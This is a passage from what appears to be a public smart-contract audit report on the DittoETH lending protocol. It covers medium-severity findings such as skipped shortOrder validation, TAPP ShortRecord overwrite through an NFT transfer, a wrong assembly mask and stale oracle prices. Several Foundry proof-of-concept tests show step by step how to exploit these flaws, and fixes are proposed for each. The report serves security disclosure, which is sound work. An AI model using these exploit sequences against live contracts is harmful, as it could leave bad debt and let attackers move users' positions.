        MTypes.ProposalInput[] calldata proposalInput,
        uint88 redemptionAmount,
        uint88 maxRedemptionFee
    ) external isNotFrozen(asset) nonReentrant {
        ...

        for (uint8 i = 0; i < proposalInput.length; i++) {
            p.shorter = proposalInput[i].shorter;
            p.shortId = proposalInput[i].shortId;
            p.shortOrderId = proposalInput[i].shortOrderId;
            STypes.ShortRecord storage currentSR = s.shortRecords[p.asset][p.shorter][p.shortId];

            ...

            STypes.Order storage shortOrder = s.shorts[asset][p.shortOrderId];
+           if (shortOrder.shortRecordId != p.shortId || shortOrder.addr != p.shorter) revert Errors.InvalidShortOrder();
            if (currentSR.status == SR.PartialFill && shortOrder.ercAmount < minShortErc) {
-               if (shortOrder.shortRecordId != p.shortId || shortOrder.addr != p.shorter) revert Errors.InvalidShortOrder();
                LibOrders.cancelShort(asset, p.shortOrderId);
            }

            ...
        }

        ...
    }

Assessed type

Invalid Validation

raymondfam (lookout) commented:

Inadequate/unstructured proof to support the intended code refactoring.

serial-coder (warden) commented:

Please have a second look at the following from the Proof of Concept section.

To demystify the vulnerability again, please follow the links along:

The shortOrder is loaded from storage according to the attacker’s p.shortOrderId param.

The attacker can leave their target partially-filled shortOrder (corresponding to the redeeming shortRecord) with ercAmount < minShortErc alive on the order book by specifying the p.shortOrderId param to another shortOrder’s id with ercAmount >= minShortErc (to bypass the if statement).

The root cause is that the proposeRedemption() will verify the loaded shortOrder against the shortRecordId and shorter params only after the condition in Step 2 was met.

Since the attacker already bypassed the condition check in Step 2, Step 3 would not be executed.

Hence, if the attacker points the p.shortOrderId param to another (fake) shortOrder’s id with ercAmount >= minShortErc, they can bypass the validity check of the loaded (fake) shortOrder, preventing their targeted small shortOrder (the real shortOrder corresponding to the redeeming shortRecord) from being canceled.

Subsequently, the attacker can leave their target small shortOrder on the order book and when it is matched, its short position (shortRecord) will be less than the minShortErc threshold that will disincentivize liquidators from liquidating the position even if it is liquidable, leading to the protocol’s bad debt. Moreover, the small shortRecord (i.e., shortRecord.ercDebt < minShortErc) will also disable the redemption mechanism from redeeming it for ethCollateral.

Summary Of Impacts:

An attacker can leave small shortOrders on the order book. As a result, large Bid orders can run out of gas if the attacker places many small shortOrders on the order book.

Liquidators are disincentivized from liquidating small shortRecords because of their small amounts.

Small shortRecords disable the redemption mechanism from redeeming them for ethCollateral even if they have poor collateralization.

Solution:

The snippet below presents how to fix the vulnerability by verifying the validity of the loaded shortOrder (Step 1) against the shortRecordId and shorter params (Step 3) before processing the loaded shortOrder (Step 2).

This way, an attacker cannot manipulate the p.shortOrderId param to another (fake) shortOrder’s id:
    function proposeRedemption(
        address asset,
        MTypes.ProposalInput[] calldata proposalInput,
        uint88 redemptionAmount,
        uint88 maxRedemptionFee
    ) external isNotFrozen(asset) nonReentrant {
        ...

        for (uint8 i = 0; i < proposalInput.length; i++) {
            p.shorter = proposalInput[i].shorter;
            p.shortId = proposalInput[i].shortId;
            p.shortOrderId = proposalInput[i].shortOrderId;
            STypes.ShortRecord storage currentSR = s.shortRecords[p.asset][p.shorter][p.shortId];

            ...

            STypes.Order storage shortOrder = s.shorts[asset][p.shortOrderId]; //@audit -- Step 1
+           if (shortOrder.shortRecordId != p.shortId || shortOrder.addr != p.shorter) revert Errors.InvalidShortOrder(); //@audit -- Process Step 3 before Step 2 to fix the vulnerability
            if (currentSR.status == SR.PartialFill && shortOrder.ercAmount < minShortErc) { //@audit -- Step 2
-               if (shortOrder.shortRecordId != p.shortId || shortOrder.addr != p.shorter) revert Errors.InvalidShortOrder(); //@audit -- Step 3
                LibOrders.cancelShort(asset, p.shortOrderId);
            }

            ...
        }

        ...
    }

ditto-eth (DittoETH) confirmed

hansfriese (judge) commented:

Nice finding. Medium is appropriate, as an attacker can bypass the minShortErc validation.

[M-02] Can manipulate the `C.SHORT_STARTING_ID` `ShortRecord` of the `TAPP`

Submitted by klau5

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/facets/PrimaryLiquidationFacet.sol#L244-L247

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/libraries/LibSRUtil.sol#L124

Impact

Attackers can make it so that risky debts are not liquidated, and unliquidated risky debts can accumulate over the long term.

Proof of Concept

ShortRecord of TAPP can also be liquidated. If all ercDebt is liquidated, LibShortRecord.deleteShortRecord is called. It moves the C.SHORT_STARTING_ID SR of TAPP to the reusing ID list and close it.

Later, when user’s ShortRecord is liquidated, LibShortRecord.fillShortRecord is called to change the status of C.SHORT_STARTING_ID to FullyFilled and update the value in TAPP’s C.SHORT_STARTING_ID ShortRecord.

However, LibShortRecord.fillShortRecord does not move the C.SHORT_STARTING_ID that has been moved to the reusing ID list back to the active state list:

function _fullorPartialLiquidation(MTypes.PrimaryLiquidation memory m) private {
    STypes.VaultUser storage TAPP = s.vaultUser[m.vault][address(this)];
    uint88 decreaseCol = min88(m.totalFee + m.ethFilled, m.short.collateral);

@>  if (m.short.ercDebt == m.ercDebtMatched) {
        // Full liquidation
        LibSRUtil.disburseCollateral(m.asset, m.shorter, m.short.collateral, m.short.dethYieldRate, m.short.updatedAt);
@>      LibShortRecord.deleteShortRecord(m.asset, m.shorter, m.short.id);
        ...
    } else {
        ...
        // TAPP absorbs leftover short, unless it already owns the short
        if (m.loseCollateral && m.shorter != address(this)) {
            // Delete partially liquidated short
            LibShortRecord.deleteShortRecord(m.asset, m.shorter, m.short.id);
            // Absorb leftovers into TAPP short
@>          LibShortRecord.fillShortRecord(
                m.asset,
@>              address(this),
@>              C.SHORT_STARTING_ID,
                SR.FullyFilled,
                m.short.collateral,
                m.short.ercDebt,
                s.asset[m.asset].ercDebtRate,
                m.short.dethYieldRate
            );
        }
    }

    ...
}

If you mint a ShortRecord as NFT and transfer it, the recipient creates a new ShortRecord. If you send an NFT to TAPP, C.SHORT_STARTING_ID can be reused and overwrite the original value.

function transferShortRecord(address from, address to, uint40 tokenId) internal {
    ...

@>  uint8 id = LibShortRecord.createShortRecord(
        asset, to, SR.FullyFilled, short.collateral, short.ercDebt, short.ercDebtRate, short.dethYieldRate, tokenId
    );

    nft.owner = to;
    nft.shortRecordId = id;
    nft.shortOrderId = 0;
}

This is PoC. Add it to LiquidationPrimary.t.sol:

function test_PoCTappSRManipulate() public { // same with test_PrimaryPartialShort1ThenPartialShort2ThenFullShortTappThenPartialShort3LiquidateCratioScenario3, but added the code at the bottom.
    /////Partial Liquidation 1/////
    (LiquidationStruct memory m,) =
        partiallyLiquidateShortPrimary({scenario: PrimaryScenarios.CRatioBelow110BlackSwan, caller: receiver});

    uint256 collateral = DEFAULT_PRICE.mulU88(DEFAULT_AMOUNT).mul(6 ether) - m.ethFilled - m.tappFee - m.gasFee - m.callerFee;
    uint256 ercDebt = DEFAULT_AMOUNT.mulU88(0.5 ether) - m.ercDebtSocialized;
    uint256 ercDebtAsset = DEFAULT_AMOUNT.mulU88(0.5 ether) + DEFAULT_AMOUNT; // 1 from dummy short
    uint256 ercDebtRate = m.ercDebtRate;

    // check balance after liquidate
    checkShortsAndAssetBalance({
        _shorter: tapp,
        _shortLen: 1,
        _collateral: collateral,
        _ercDebt: ercDebt,
        _ercDebtAsset: ercDebtAsset,
        _ercDebtRateAsset: ercDebtRate,
        _ercAsset: DEFAULT_AMOUNT //1 from short minting
    });

    // Bring TAPP balance to 0 for easier calculations
    vm.stopPrank();
    uint88 balanceTAPP = diamond.getVaultUserStruct(VAULT.ONE, tapp).ethEscrowed;
    depositEth(tapp, DEFAULT_AMOUNT.mulU88(DEFAULT_PRICE) - balanceTAPP);
    vm.prank(tapp);
    createLimitBid(DEFAULT_PRICE, DEFAULT_AMOUNT);

    /////Partial Liquidation 2/////
    _setETH(4000 ether); // Back to default price
    fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender); // Short Record C.SHORT_STARTING_ID gets re-used
    fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT / 2, receiver); // Set up partial liquidation
    // Partial Liquidation
    _setETH(730 ether); // c-ratio 1.095
    vm.prank(receiver);
    (uint256 gasFee,) = diamond.liquidate(asset, sender, C.SHORT_STARTING_ID, shortHintArrayStorage, 0);

    // Assert updated TAPP short
    STypes.ShortRecord memory short = getShortRecord(tapp, C.SHORT_STARTING_ID);
    assertEq(short.collateral, collateral * 2 + m.gasFee - gasFee); // almost exactly the same, just diff gas fee
    assertEq(short.ercDebt, ercDebt * 2);
    ercDebtAsset = diamond.getAssetStruct(asset).ercDebt + DEFAULT_AMOUNT / 2; // add back partial liquidation
    ercDebtRate += m.ercDebtSocialized.div(ercDebtAsset - DEFAULT_AMOUNT); // entire collateral was removed in denominator
    assertApproxEqAbs(short.ercDebtRate, (ercDebtRate + m.ercDebtRate) / 2, MAX_DELTA_SMALL);

    ///////Full Liquidation///////
    uint88 amount = short.ercDebt + short.ercDebt.mulU88(diamond.getAssetStruct(asset).ercDebtRate - short.ercDebtRate);
    fundLimitAskOpt(DEFAULT_PRICE, amount, receiver); // Set up full liquidation
    vm.prank(receiver);
    diamond.liquidate(asset, tapp, C.SHORT_STARTING_ID, shortHintArrayStorage, 0);

    // Assert TAPP short fully liquidated and closed
    short = getShortRecord(tapp, C.SHORT_STARTING_ID);
    assertTrue(short.status == SR.Closed);

    // Bring TAPP balance to 0 for easier calculations
    balanceTAPP = diamond.getVaultUserStruct(VAULT.ONE, tapp).ethEscrowed;
    vm.prank(tapp);
    createLimitBid(DEFAULT_PRICE, balanceTAPP.divU88(DEFAULT_PRICE));
    fundLimitAskOpt(DEFAULT_PRICE, balanceTAPP.divU88(DEFAULT_PRICE), receiver);

    //////Partial Liquidation 3//////
    _setETH(4000 ether); // Back to default price
    fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
    fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender); // Short Record C.SHORT_STARTING_ID gets re-used
    fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT / 2, receiver); // Set up partial liquidation

    // Partial Liquidation
    _setETH(730 ether); // c-ratio 1.095
    vm.prank(receiver);
    (gasFee,) = diamond.liquidate(asset, sender, C.SHORT_STARTING_ID, shortHintArrayStorage, 0);

    // Assert recreated TAPP short
    short = getShortRecord(tapp, C.SHORT_STARTING_ID);
    assertEq(short.collateral, collateral + m.gasFee - gasFee); // exactly the same, except for diff gas fee
    assertEq(short.ercDebt, ercDebt); // exactly the same
    assertApproxEqAbs(short.ercDebtRate, diamond.getAssetStruct(asset).ercDebtRate, MAX_DELTA_SMALL);
    assertTrue(short.status == SR.FullyFilled);

    // --- PoC start ----
    // C.SHORT_STARTING_ID is still in reuseable id list
    STypes.ShortRecord memory head = getShortRecord(tapp, C.HEAD);
    assertEq(head.prevId, C.SHORT_STARTING_ID);

    address attacker = address(0x1337);
    _setETH(4000 ether); // Back to default price
    fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
    fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, attacker); 

    // make short record NFT
    vm.prank(attacker);
    diamond.mintNFT(asset, 2, 0);
    
    // before transfer, the TAPP C.SHORT_STARTING_ID result is same
    short = getShortRecord(tapp, C.SHORT_STARTING_ID);
    assertEq(short.collateral, collateral + m.gasFee - gasFee); // exactly the same, except for diff gas fee
    assertEq(short.ercDebt, ercDebt); // exactly the same
    assertApproxEqAbs(short.ercDebtRate, diamond.getAssetStruct(asset).ercDebtRate, MAX_DELTA_SMALL);
    assertTrue(short.status == SR.FullyFilled);

    // transfer NFT to TAPP, this will overwrite C.SHORT_STARTING_ID SR of TAPP (create new SR -> reuse id C.SHORT_STARTING_ID)
    vm.prank(attacker);
    diamond.transferFrom(attacker, tapp, 1);

    // after transfer, the TAPP C.SHORT_STARTING_ID SR is manipulated
    short = getShortRecord(tapp, C.SHORT_STARTING_ID);
    assertNotEq(short.collateral, collateral + m.gasFee - gasFee);
    assertNotEq(short.ercDebt, ercDebt);
}

Recommended Mitigation Steps

Prevents ShortRecord NFT from being sent to TAPPs.

ditto-eth (DittoETH) confirmed and commented:

Great find, solution seems to work too.

[M-03] The `colRedeemed` variable is wrongly retrieved in `LibBytes::readProposalData` function

Submitted by Bube, also found by maxim371 and Rhaydden

The LibBytes::readProposalData function uses inline assembly for efficient data extraction from a byte array. The colRedeemed variable, which represents an 11-byte value within the ProposalData structure, is intended to be extracted by applying a mask to isolate the relevant bytes. However, the current implementation incorrectly uses the add operation. That leads to retrieve incorrect value of colRedeemed variable:

    function readProposalData(address SSTORE2Pointer, uint8 slateLength) internal view returns (MTypes.ProposalData[] memory) {
        bytes memory slate = SSTORE2.read(SSTORE2Pointer);
        // ProposalData is 51 bytes
        require(slate.length % 51 == 0, "Invalid data length");

        MTypes.ProposalData[] memory data = new MTypes.ProposalData[](slateLength);

        for (uint256 i = 0; i < slateLength; i++) {
            // 32 offset for array length, multiply by each ProposalData
            uint256 offset = i * 51 + 32;

            address shorter; // bytes20
            uint8 shortId; // bytes1
            uint64 CR; // bytes8
            uint88 ercDebtRedeemed; // bytes11
            uint88 colRedeemed; // bytes11

            assembly {
                // mload works 32 bytes at a time
                let fullWord := mload(add(slate, offset))
                // read 20 bytes
                shorter := shr(96, fullWord) // 0x60 = 96 (256-160)
                // read 8 bytes
                shortId := and(0xff, shr(88, fullWord)) // 0x58 = 88 (96-8), mask of bytes1 = 0xff * 1
                // read 64 bytes
                CR := and(0xffffffffffffffff, shr(24, fullWord)) // 0x18 = 24 (88-64), mask of bytes8 = 0xff * 8

                fullWord := mload(add(slate, add(offset, 29))) // (29 offset)
                // read 88 bytes
                ercDebtRedeemed := shr(168, fullWord) // (256-88 = 168)
                // read 88 bytes
@>              colRedeemed := add(0xffffffffffffffffffffff, shr(80, fullWord)) // (256-88-88 = 80), mask of bytes11 = 0xff * 11
            }

            data[i] = MTypes.ProposalData({
                shorter: shorter,
                shortId: shortId,
                CR: CR,
                ercDebtRedeemed: ercDebtRedeemed,
                colRedeemed: colRedeemed
            });
        }

        return data;
    }

The add operation would incorrectly add the mask to the shifted value, potentially resulting in an incorrect value for colRedeemed. The correct operation should use and to apply the mask and isolate the 11-byte colRedeemed value.

The RedemptionFacet contract calls the LibBytes::readProposalData function and uses colRedeemed variable in claimRedemption function.

Proof of Concept

Link to the code here.

The following contract Assembly is a simple contract that contains two functions: incorrectColRedeemed with the logic from the LibBytes contract and the correctColRedeemed with the correct logic:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.23;

contract Assembly {
    function incorrectColRedeemed(uint256 fullWord) public pure returns (uint88) {
        uint88 col;
        assembly {
            col := add(0xffffffffffffffffffffff, shr(80, fullWord))
        }
        return col;
    }

    function correctColRedeemed(uint256 fullWord) public pure returns (uint256) {
        uint88 col;
        assembly {
            col := and(0xffffffffffffffffffffff, shr(80, fullWord))
        }
        return col;
    }
}

The following test file contains test function test_assembly that compares the returned value from the both functions and shows the differences between the results:

contract TestAssembly is Test {

    Assembly asm = new Assembly();

    uint256 testFullWord = 0x1234599990abcdef1234567890abcdef1234567890abcdef1234567890abcdef;

    function test_assembly() external view {
        assert(asm.incorrectColRedeemed(testFullWord) < asm.correctColRedeemed(testFullWord));
        console.log('Incorrect:', asm.incorrectColRedeemed(testFullWord));
        console.log('Correct: ', asm.correctColRedeemed(testFullWord));
    }

Tools Used

Foundry

Recommended Mitigation Steps

Replace the add operation with an and operation to correctly apply the mask:

colRedeemed := and(0xffffffffffffffffffffff, shr(80, fullWord)).

ditto-eth (DittoETH) confirmed

[M-04] `transferShortRecord`: Can transfer a newly created `ShortRecord` using a previously minted NFT

Submitted by klau5

Can move the newly created ShortRecord using the NFT that was minted in the past.

Proof of Concept

Even if the ShortRecord is closed, the previously minted NFT is not burnt. The s.nftMapping[tokenId].shortRecordId data is not deleted either. Therefore, when a ShortRecord is created by reusing the same ID, the existing NFT points to the new ShortRecord.

However, when transferring the NFT and the ShortRecord, it does not check whether this NFT is a newly minted NFT or a past NFT. Those who have been allowed to transfer the NFT in the past still can transfer the newly created ShortRecord.

function transferShortRecord(address from, address to, uint40 tokenId) internal {
    AppStorage storage s = appStorage();

    STypes.NFT storage nft = s.nftMapping[tokenId];
    address asset = s.assetMapping[nft.assetId];
@>  STypes.ShortRecord storage short = s.shortRecords[asset][from][nft.shortRecordId]; // no check for tokenId
    if (short.status == SR.Closed) revert Errors.OriginalShortRecordCancelled();
    if (short.ercDebt == 0) revert Errors.OriginalShortRecordRedeemed();

    // @dev shortOrderId is already validated in mintNFT
    if (short.status == SR.PartialFill) {
        LibOrders.cancelShort(asset, nft.shortOrderId);
    }

    short.tokenId = 0;
    LibShortRecord.deleteShortRecord(asset, from, nft.shortRecordId);
    LibBridgeRouter.transferBridgeCredit(asset, from, to, short.collateral);

    uint8 id = LibShortRecord.createShortRecord(
        asset, to, SR.FullyFilled, short.collateral, short.ercDebt, short.ercDebtRate, short.dethYieldRate, tokenId
    );

    nft.owner = to;
    nft.shortRecordId = id;
    nft.shortOrderId = 0;
}

This is PoC. Add it to ERC721Facet.t.sol and run it:

function test_PoCNFTTransferPossibleWithReusedID() public {
    address attacker = address(0x1337);

    fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
    fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);

    vm.prank(sender);
    diamond.mintNFT(asset, C.SHORT_STARTING_ID, 0);

    STypes.NFT memory nftBefore = diamond.getNFT(1);
    assertEq(nftBefore.owner, sender);
    assertEq(nftBefore.shortRecordId, C.SHORT_STARTING_ID);

    assertEq(diamond.ownerOf(1), sender);
    assertEq(diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID).tokenId, 1);

    vm.prank(sender);
    diamond.approve(attacker, 1); // attakcer approved old SR NFT

    fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
    exitShort(C.SHORT_STARTING_ID, DEFAULT_AMOUNT, DEFAULT_PRICE, sender); // SR Closed

    STypes.NFT memory nftAfterExit = diamond.getNFT(1);
    assertEq(nftAfterExit.owner, nftBefore.owner);
    assertEq(nftBefore.shortRecordId, nftAfterExit.shortRecordId);

    fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
    fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender); // shortRecordId reused

    assertEq(diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID).tokenId, 0);

    vm.prank(sender);
    diamond.mintNFT(asset, C.SHORT_STARTING_ID, 0); // mint NFT again with new SR (NFT tokenId #2)

    assertEq(diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID).tokenId, 2);

    STypes.NFT memory nftAfterNewSRCreated = diamond.getNFT(1);
    assertEq(nftAfterNewSRCreated.owner, nftBefore.owner); // but NFT mapping is still exist
    assertEq(nftAfterNewSRCreated.shortRecordId, C.SHORT_STARTING_ID);

    assertEq(diamond.getShortRecord(asset, attacker, C.SHORT_STARTING_ID).collateral, 0); // attacker has no SR
    vm.prank(attacker);
    diamond.transferFrom(sender, attacker, 1); // attacker still can transfer NFT, and move new SR
    assertNotEq(diamond.getShortRecord(asset, attacker, C.SHORT_STARTING_ID).collateral, 0); // attacker successfully transfered SR
}

Recommended Mitigation Steps

function transferShortRecord(address from, address to, uint40 tokenId) internal {
    AppStorage storage s = appStorage();

    STypes.NFT storage nft = s.nftMapping[tokenId];
    address asset = s.assetMapping[nft.assetId];
    STypes.ShortRecord storage short = s.shortRecords[asset][from][nft.shortRecordId];
    if (short.status == SR.Closed) revert Errors.OriginalShortRecordCancelled();
    if (short.ercDebt == 0) revert Errors.OriginalShortRecordRedeemed();
+   if (short.tokenId != tokenId) revert Errors.NotValidNFT();

    // @dev shortOrderId is already validated in mintNFT
    if (short.status == SR.PartialFill) {
        LibOrders.cancelShort(asset, nft.shortOrderId);
    }

    short.tokenId = 0;
    LibShortRecord.deleteShortRecord(asset, from, nft.shortRecordId);
    LibBridgeRouter.transferBridgeCredit(asset, from, to, short.collateral);

    uint8 id = LibShortRecord.createShortRecord(
        asset, to, SR.FullyFilled, short.collateral, short.ercDebt, short.ercDebtRate, short.dethYieldRate, tokenId
    );

    nft.owner = to;
    nft.shortRecordId = id;
    nft.shortOrderId = 0;
}

Assessed type

Invalid Validation

ditto-eth (DittoETH) confirmed, but disagreed with severity and commented:

This scenario is technically possible, but only happens because of user error. I recommend low because a series of mistakes on the user’s part would have to occur for this scenario:

User gives approval to an attacker.

User closes their SR before the SR is transferred. Why would the user give approval to another address to transfer their SR but then not wait for the transfer to happen?

And if for some reason the user does not want to transfer anymore they can revoke approval.

klau5 (warden) commented:

User gives approval to an attacker.

User closes their SR before the SR is transferred. Why would the user give approval to another address to transfer their SR but then not wait for the transfer to happen?

This can be problematic not only in attacks, but also in general situations. For example, a user can approve to NFT marketplace contract in order to sell their NFT. A scenario is possible where a user approves an NFT for sale -> the SR is closed -> a new SR is created with the same ID -> and the NFT is sold.

A user will think that it doesn’t matter if the old NFT is sold because the closed SR will move. A user doesn’t realize that the new SR will move when the old NFT is sold.

And if for some reason the user does not want to transfer anymore they can revoke approval.

NFT should be minted independently per SR and should not affect each other. The current implementation implicitly points to multiple SRs with a single NFT. In a strict implementation, the past NFT should point to a closed SR, but due to optimizations, it doesn’t.

Revoking the approval of past SR NFTs to prevent the current SR from moving is not the right solution because it’s violate the individuality of NFT and SR, and user would not think that they should revoke past approval to prevent to moving new SR.

hansfriese (judge) decreased severity to Medium and commented:

Thanks for your detailed comments. I agree that managing a new SR using prior approval is not a recommended approach. I think Medium is more appropriate for the external requirements.

[M-05] `oracleCircuitBreaker`: Not checking if price information of asset is stale

Submitted by klau5, also found by 0xSecuri, Infect3d, Bauchibred, falconhoof, serial-coder, nonseodion, and Bigsam

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/libraries/LibOracle.sol#L125-L126

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/libraries/LibOracle.sol#L60

Proof of Concept

At getOraclePrice, it does not check if the timeStamp of asset token price oracle is in a stale. If it uses outdated price information, users will trade at the wrong price.

function getOraclePrice(address asset) internal view returns (uint256) {
    AppStorage storage s = appStorage();
    AggregatorV3Interface baseOracle = AggregatorV3Interface(s.baseOracle);
    uint256 protocolPrice = getPrice(asset);

    AggregatorV3Interface oracle = AggregatorV3Interface(s.asset[asset].oracle);
    if (address(oracle) == address(0)) revert Errors.InvalidAsset();

    try baseOracle.latestRoundData() returns (uint80 baseRoundID, int256 basePrice, uint256, uint256 baseTimeStamp, uint80) {
        if (oracle == baseOracle) {
            // @dev multiply base oracle by 10**10 to give it 18 decimals of precision
            uint256 basePriceInEth = basePrice > 0 ? uint256(basePrice * C.BASE_ORACLE_DECIMALS).inv() : 0;
            basePriceInEth = baseOracleCircuitBreaker(protocolPrice, baseRoundID, basePrice, baseTimeStamp, basePriceInEth);
            return basePriceInEth;
        } else {
            // prettier-ignore
            (
                uint80 roundID,
                int256 price,
                /*uint256 startedAt*/
                ,
@>              uint256 timeStamp,
                /*uint80 answeredInRound*/
            ) = oracle.latestRoundData();
            uint256 priceInEth = uint256(price).div(uint256(basePrice));
@>          oracleCircuitBreaker(roundID, baseRoundID, price, basePrice, timeStamp, baseTimeStamp);
            return priceInEth;
        }
    } catch {
        if (oracle == baseOracle) {
            return twapCircuitBreaker();
        } else {
            // prettier-ignore
            (
                uint80 roundID,
                int256 price,
                /*uint256 startedAt*/
                ,
@>              uint256 timeStamp,
                /*uint80 answeredInRound*/
            ) = oracle.latestRoundData();
@>          if (roundID == 0 || price == 0 || timeStamp > block.timestamp) revert Errors.InvalidPrice();

            uint256 twapInv = twapCircuitBreaker();
            uint256 priceInEth = uint256(price * C.BASE_ORACLE_DECIMALS).mul(twapInv);
            return priceInEth;
        }
    }

The oracleCircuitBreaker function checks if the Chainlink oracle data for each asset is valid. It does not check if the timeStamp is in a stale too.

function oracleCircuitBreaker(
    uint80 roundId,
    uint80 baseRoundId,
    int256 chainlinkPrice,
    int256 baseChainlinkPrice,
    uint256 timeStamp,
    uint256 baseTimeStamp
) private view {
@>  bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0
        || baseRoundId == 0 || baseTimeStamp == 0 || baseTimeStamp > block.timestamp || baseChainlinkPrice <= 0;

    if (invalidFetchData) revert Errors.InvalidPrice();
}

Recommended Mitigation Steps

Set the chainlinkStaleLimit for each asset and check if the price information is not outdated.

function getOraclePrice(address asset) internal view returns (uint256) {
    AppStorage storage s = appStorage();
    AggregatorV3Interface baseOracle = AggregatorV3Interface(s.baseOracle);
    uint256 protocolPrice = getPrice(asset);

    AggregatorV3Interface oracle = AggregatorV3Interface(s.asset[asset].oracle);
    if (address(oracle) == address(0)) revert Errors.InvalidAsset();

    try baseOracle.latestRoundData() returns (uint80 baseRoundID, int256 basePrice, uint256, uint256 baseTimeStamp, uint80) {
        ...
    } catch {
        if (oracle == baseOracle) {
            return twapCircuitBreaker();
        } else {
            // prettier-ignore
            (
                uint80 roundID,
                int256 price,
                /*uint256 startedAt*/
                ,
                uint256 timeStamp,
                /*uint80 answeredInRound*/
            ) = oracle.latestRoundData();
-           if (roundID == 0 || price == 0 || timeStamp > block.timestamp) revert Errors.InvalidPrice();
+           if (roundID == 0 || price == 0 || timeStamp > block.timestamp || block.timestamp > chainlinkStaleLimit[asset] + timeStamp) revert Errors.InvalidPrice();

            uint256 twapInv = twapCircuitBreaker();
            uint256 priceInEth = uint256(price * C.BASE_ORACLE_DECIMALS).mul(twapInv);
            return priceInEth;
        }
    }

function oracleCircuitBreaker(
    uint80 roundId,
    uint80 baseRoundId,
    int256 chainlinkPrice,
    int256 baseChainlinkPrice,
    uint256 timeStamp,
-   uint256 baseTimeStamp
+   uint256 baseTimeStamp,
+   address asset
) private view {
    bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0
-       || baseRoundId == 0 || baseTimeStamp == 0 || baseTimeStamp > block.timestamp || baseChainlinkPrice <= 0;
+       || baseRoundId == 0 || baseTimeStamp == 0 || baseTimeStamp > block.timestamp || baseChainlinkPrice <= 0 || block.timestamp > chainlinkStaleLimit[asset] + timeStamp;
    if (invalidFetchData) revert Errors.InvalidPrice();
}

Assessed type

Oracle

ditto-eth (DittoETH) confirmed and commented via duplicate Issue #252:

Agree, this seems like a valid issue. Returned base oracle price could be stale.

hansfriese (judge) commented:

I will maintain this as a primary issue since it encompasses both concerns. Additionally, I will allocate partial credit to other findings explaining only one case.

FYI, it should check if price <= 0 instead of price == 0 in the catch block.

[M-06] `ShortOrders` can be created with `ercAmount == minAskEth/2`, increasing the gas costs for matching large orders and disincentivizing liquidators from liquidating them

Submitted by nonseodion, also found by 0xbepresent

A user can create a ShortOrder with ercAmount == minAskEth/2 by matching the ShortOrder with a bid that fills it up to minAskEth/2 and exiting the ShortRecord leaving only minAskEth/2 in the ShortOrder with an empty ShortRecord.

Description

This issue makes use of two properties in the codebase.

A ShortOrder can be matched such that only minAskEth/2 remains in the ShortOrder.

A ShortOrder on the market can be matched by an incoming bid. This match is done in the call to bidMatchAlgo() function. Which tries to fill the bid with asks or shorts in the market.

BidOrdersFacet.sol#L106-L111

        if (incomingBid.price >= lowestSell.price && (lowestSell.orderType == O.LimitAsk || lowestSell.orderType == O.LimitShort)) {
            // @dev if match and match price is gt .5% to saved oracle in either direction, update startingShortId
            LibOrders.updateOracleAndStartingShortViaThreshold(asset, LibOracle.getPrice(asset), incomingBid, shortHintArray);
            b.shortHintId = b.shortId = Asset.startingShortId;
            b.oraclePrice = LibOracle.getPrice(asset);
❌          return bidMatchAlgo(asset, incomingBid, orderHintArray, b);

In the call to bidMatchAlgo(), it goes through a loop and on each iteration, it first tries to match lowestSell in line 155 below. lowestSell is the current lowest bid or ask. After matching it compares the ercAmount in the bid and lowest sell.

If the ercAmount in the lowest sell exceeds that in the bid, the bid is filled and executes the else statement in line 179 below. If the amount left in the lowest sell is >= LibAsset.minAskEth(asset).mul(C.DUST_FACTOR), b.dustShortId and b.dustAskId are set to zero in line 191 below. This ensures the lowest sell isn’t deleted in the call to matchIncomingBid() function.

BidOrdersFacet.sol#L155-L197

155:                 matchlowestSell(asset, lowestSell, incomingBid, matchTotal);
156:                 if (incomingBid.ercAmount > lowestSell.ercAmount) {
157:                     incomingBid.ercAmount -= lowestSell.ercAmount;
158:                     lowestSell.ercAmount = 0; 
159:                     if (lowestSell.isShort()) {
160:                         b.matchedShortId = lowestSell.id;
161:                         b.prevShortId = lowestSell.prevId;
162:                         LibOrders.matchOrder(s.shorts, asset, lowestSell.id);
163:                         _shortDirectionHandler(asset, lowestSell, incomingBid, b);
164:                     } else {
165:                         b.matchedAskId = lowestSell.id;
166:                         LibOrders.matchOrder(s.asks, asset, lowestSell.id);
167:                         b.askId = lowestSell.nextId;
168:                     }
169:                 } else {
170:                     if (incomingBid.ercAmount == lowestSell.ercAmount) {
171:                         if (lowestSell.isShort()) {
172:                             b.matchedShortId = lowestSell.id;
173:                             b.prevShortId = lowestSell.prevId;
174:                             LibOrders.matchOrder(s.shorts, asset, lowestSell.id);
175:                         } else {
176:                             b.matchedAskId = lowestSell.id;
177:                             LibOrders.matchOrder(s.asks, asset, lowestSell.id);
178:                         }
179:                     } else {
180:                         lowestSell.ercAmount -= incomingBid.ercAmount;
181:                         if (lowestSell.isShort()) {
182:                             b.dustShortId = lowestSell.id;
